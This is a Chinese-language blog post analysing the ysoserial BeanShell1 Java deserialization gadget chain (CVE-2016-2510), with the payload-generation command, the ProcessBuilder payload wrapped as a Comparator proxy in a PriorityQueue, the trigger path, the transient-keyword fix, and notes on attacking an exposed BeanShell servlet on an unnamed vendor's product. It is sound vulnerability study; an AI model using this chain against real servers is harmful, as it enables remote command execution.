0x01 概述

这一年来学习Java相关知识,然后我发现了网上绝大多数人分析Java反序列化时候都是从 commons-collections 入手,但是我当初搞懂这个时候真的花了快一个月的晚上时间,太难了。

ysoserial 这个是一个伟大的反序列化利用工具集,当初学习时候就想着把里面的每个payload都拿出来看看,了解漏洞原理,了解为什么这么构造。

0x02 环境搭建

环境搭建很简单

//pom.xml
        <!-- https://mvnrepository.com/artifact/org.beanshell/bsh (beanshell1)-->
        <dependency>
            <groupId>org.beanshell</groupId>
            <artifactId>bsh</artifactId>
            <version>2.0b5</version>
        </dependency>

这里提一个题外话,如果新手不知道如何pom文件里面的 groupIdartifactId 是什么的时候,可以在这里进行搜索,然后随便点一个版本进来就知道了。

然后自己写一个反序列化方法就好了。

//Deserialize.java
import java.io.*;

public class Deserialize{
    public static void main(String args[]) throws Exception{
//从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("/Users/l1nk3r/Desktop/test.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
        Object objectFromDisk = (Object)ois.readObject();
        ois.close();
    }
}

//Object.java
import java.io.IOException;
import java.io.Serializable;
class Object implements Serializable{
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
    }
}

0x03漏洞复现

java -jar ysoserial-master-55f1e7c35c-1.jar BeanShell1 "open /System/Applications/Calculator.app" > test.txt

0x04 利用链构造分析

构造之前实际上Beanshell这个东西支持按照Java语法动态执行Java代码。

这部分是 BeanShell1 利用的核心部分

我们拆开来看,首先把命令拼接之后交给 eval 进行执行。

String payload =
            "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
                Strings.join( // does not support spaces in quotes
                    Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
                    ",", "\"", "\"") +
                "}).start();return new Integer(1);}";

    // Create Interpreter
    Interpreter i = new Interpreter();

    // Evaluate payload
    i.eval(payload);

通过反射方式取出一个,取出XThis的成员变量invocationHandler。在java的动态代理机制中,有两个重要的类或接口,一个是InvocationHandler(Interface)、另一个则是Proxy(Class),这一个类和接口是实现我们动态代理所必须用到的。

// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

下面其实需要细细品一下,主要是有一个关键部分是 PriorityQueue

// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;

在这个项目里遇到了挺多利用这个来构造利用链的,跟进一下PriorityQueue,实际上这个类当中也有实现readObject方法。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

整个调用过程简化一下就是 heapify=>siftDown=>siftDownUsingComparator=>comparator.compare

@SuppressWarnings("unchecked")
    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

    @SuppressWarnings("unchecked")
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

所以简单来说到这里实际上能理解这个POC为什么这么写了。通过把命令执行部分封装成 compare 函数,通过反射获取的 invocationHandler 把通过动态代理的方式构造成 Comparator 的对象,然后再把这个对象甩给 PriorityQueue 中的 comparator 对象。最后在反序列化 PriorityQueue 过程中当流程走到comparator.compare的时候,会进入 Handler 中的 invoke 方法:

invokeImpl 方法中会判断一些方法名不等于toString,然后就会调用 invokeMethod 方法。

最后会根据 compare 获取到我们刚刚创建的 compare 方法部分。

自然会触发相关利用代码,真的是妙啊。

0x05 漏洞修复

漏洞修复实际上就是在 invocationHandler 中加上 transient 这个关键词的屏蔽,导致了在动态代理过程中没办法跳到我们的利用链。

0x06 小结

小结一下就是这个洞构造过程中利用动态代理以及 PriorityQueue 过程中调用方法,最后构造出一条有趣的利用链,而解决方式也很简单粗暴,增加一个 transient 关键字。

PriorityQueue类经过构造可以调用成员变量的Comparator.compare()Comparator.compareTo()方法,反序列化过程中可以考虑拿这个作为跳板。

0x07 后话

某微之前的 BeanShell RCE 的问题实际上和这个有点像,也有点不一样,本质上是因为 bsh.servlet.BshServlet 是支持通过网页的方式写入代码执行调试。但是某微采用 resin 作为中间件,并且配置了一条这个

<web-app id="/" root-directory="xxxx">
<servlet-mapping url-pattern='/xxx/*' servlet-name='invoker'/>
</web-app>

这个的作用就是只要你访问www.test.com/xxx/com.test.test,只要这个com.test.test能够处理Servlet请求,就如下面这个代码一样,就能够触发了。

public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doGet(request, response);
    }

所以这也解释了为什么这个 bsh-2.0b5.jarresin 的lib目录下也能够利用的问题了,当然某微也有反序列化,也能用这个payload打,话就说这么多了。

Reference

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2510

点击收藏 | 0 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖